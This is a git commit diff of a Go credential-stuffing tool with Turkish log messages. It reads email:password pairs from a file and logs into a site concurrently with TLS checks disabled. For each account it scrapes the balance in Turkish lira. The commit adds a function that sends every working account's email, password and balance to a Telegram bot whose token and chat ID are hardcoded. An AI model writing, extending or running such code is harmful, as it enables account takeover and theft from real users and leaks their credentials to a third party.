Update main.go

This commit is contained in:
yusiqo 2025-02-03 03:31:58 +00:00
parent 0fd143443e
commit 6fc082d577

82
main.go
View File

@ -8,9 +8,16 @@ import (
"log" "log"
"net/http" "net/http"
"net/http/cookiejar" "net/http/cookiejar"
"net/url"
"os" "os"
"regexp" "regexp"
"strings" "strings"
"sync"
)
const (
telegramToken = "7408806061:AAGy__Qhk05rjyHs_IC6NNv7WJmzvAmaKEc"
telegramChatID = "1342133634"
) )
func main() { func main() {
@ -25,34 +32,45 @@ func main() {
defer file.Close() defer file.Close()
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
for scanner.Scan() { var wg sync.WaitGroup
jar, _ := cookiejar.New(nil) semaphore := make(chan struct{}, 10) // Aynı anda 30 işlem
client := &http.Client{ for scanner.Scan() {
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, semaphore <- struct{}{}
Jar: jar, wg.Add(1)
}
line := scanner.Text() line := scanner.Text()
parts := strings.Split(line, ":") go func(line string) {
if len(parts) != 2 { defer wg.Done()
fmt.Printf("Geçersiz format: %s\n", line) defer func() { <-semaphore }()
continue
}
email := parts[0] jar, _ := cookiejar.New(nil)
password := parts[1] client := &http.Client{
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
Jar: jar,
}
csrfToken, err := getCSRFToken(client) parts := strings.Split(line, ":")
if err != nil { if len(parts) != 2 {
log.Printf("CSRF token alınamadı: %v\n", err) fmt.Printf("Geçersiz format: %s\n", line)
continue return
} }
login(client, csrfToken, email, password) email := parts[0]
password := parts[1]
csrfToken, err := getCSRFToken(client)
if err != nil {
log.Printf("CSRF token alınamadı: %v\n", err)
return
}
login(client, csrfToken, email, password)
}(line)
} }
wg.Wait()
if err := scanner.Err(); err != nil { if err := scanner.Err(); err != nil {
log.Fatalf("Dosya okuma hatası: %v", err) log.Fatalf("Dosya okuma hatası: %v", err)
} }
@ -81,7 +99,7 @@ func getCSRFToken(client *http.Client) (string, error) {
re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`) re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`)
matches := re.FindStringSubmatch(string(body)) matches := re.FindStringSubmatch(string(body))
if len(matches) < 2 { if len(matches) < 2 {
return "", fmt.Errorf("CSRF token bulunamadı %s", string(body)) return "", fmt.Errorf("CSRF token bulunamadı")
} }
return matches[1], nil return matches[1], nil
@ -109,34 +127,30 @@ func login(client *http.Client, csrfToken, email, password string) (bool, error)
return false, err return false, err
} }
if strings.Contains(string(body), string("balance")) == true { if strings.Contains(string(body), "balance") {
re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`) re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`)
match := re.FindStringSubmatch(string(body)) match := re.FindStringSubmatch(string(body))
if len(match) > 1 { if len(match) > 1 {
fmt.Printf("Live Acc: %s:%s\n", email, password)
fmt.Printf("TL Miktarı: %s\n", match[1])
sendTelegramNotification(email, password, match[1])
} else { } else {
fmt.Println("Miktar bulunamadı.") fmt.Println("Miktar bulunamadı.")
} }
fmt.Printf("Live Acc: %s:%s", email, password)
fmt.Printf("TL Miktarı: %s\n", match[1])
return true, nil return true, nil
} else { } else {
//fmt.Println("Sunucu Yanıtı:", string(body))
fmt.Printf("Dead Acc: %s:%s\n", email, password) fmt.Printf("Dead Acc: %s:%s\n", email, password)
return false, nil return false, nil
} }
} }
func appendToFile(filename, content string) { func sendTelegramNotification(email, password, balance string) {
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) message := fmt.Sprintf("Live Account Found!\nEmail: %s\nPassword: %s\nBalance: %s TL", email, password, balance)
if err != nil { escapedMessage := url.QueryEscape(message)
log.Fatalf("Dosya yazma hatası: %v", err) apiURL := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", telegramToken, telegramChatID, escapedMessage)
}
defer file.Close()
_, err = file.WriteString(content) _, err := http.Get(apiURL)
if err != nil { if err != nil {
log.Fatalf("Dosyaya yazma hatası: %v", err) log.Printf("Telegram bildirimi gönderilemedi: %v", err)
} }
} }